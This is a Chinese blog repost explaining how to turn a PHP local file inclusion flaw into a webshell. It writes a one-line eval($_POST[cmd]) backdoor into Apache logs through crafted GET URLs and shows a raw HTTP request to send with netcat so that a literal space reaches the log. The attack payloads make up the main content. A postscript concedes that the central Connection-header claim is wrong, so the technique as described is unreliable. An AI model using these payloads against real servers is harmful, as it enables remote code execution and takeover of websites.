php本地文件包含漏洞,邪恶的空格-PHP本地文件包含漏洞的新突破口

来源:茄子乱语

PS:文章说的出错鸟,事后剑心提醒我才发现,有忽悠人的嫌疑,Connection HTTP标头和能不能写入空格无关!!

记得Zizzy写过一篇《关于php包含Apache日志的随想》,这是一个很好的思路,我们可以随意构造

http://www.exp.com/index/**/eval($_POST[cmd]);/**/?>.php

这样的GET请求,将一句话木马写入web日志,然后利用文件包含漏洞包含日志得到WEBSHELL,如milw0rm上的这个EXP:

http://www.milw0rm.com/exploits/4029

不过很遗憾,这类情况只能在short_open_tag=on的情况下才能有效,当short_open_tag=off时,PHP将不支持/**/eval($_POST[cmd]);/**/?>这样的短语句.

所以我们只能使用<?php eval($_POST[cmd]);?>这样标准语法的一句话木马,但是问题来鸟,语句中有一个空格,类似

http://www.exp.com/index<?php eval($_POST[cmd]);?>.php

这样的提交,WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php %20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

哈,上面说的牛牛可以略过,下面开始切入正题,我们知道一般情况下,一旦Web服务器向浏览器发送了请求数据,肯定会返回响应,这里我发现了WEB服务器一个奇怪的特性,就是如果没有返回响应而WEB服务器又接受了请求,那么请求的内容将原封不动的写入WEB日志,不会进行HTTP编码.

这样我们想个办法一直与WEB服务器保持TCP连接,不让WEB服务器处理响应返回,然后再由客户端的我们中断这次TCP连接,说得这么复杂其实很容易实现.只要在HTTP请求的数据包中去掉Connection HTTP标头值。

利用NC伪造没有Connection HTTP标头的请求包:

GET /index< >.php HTTP/1.1

Accept: */*

Accept-Language: zh-cn

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Host: 192.168.3.44

你会发现WEB服务器一直不会返回响应,直到我们客户端断开这次连接,这个邪恶的空格便写入了WEB日志!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值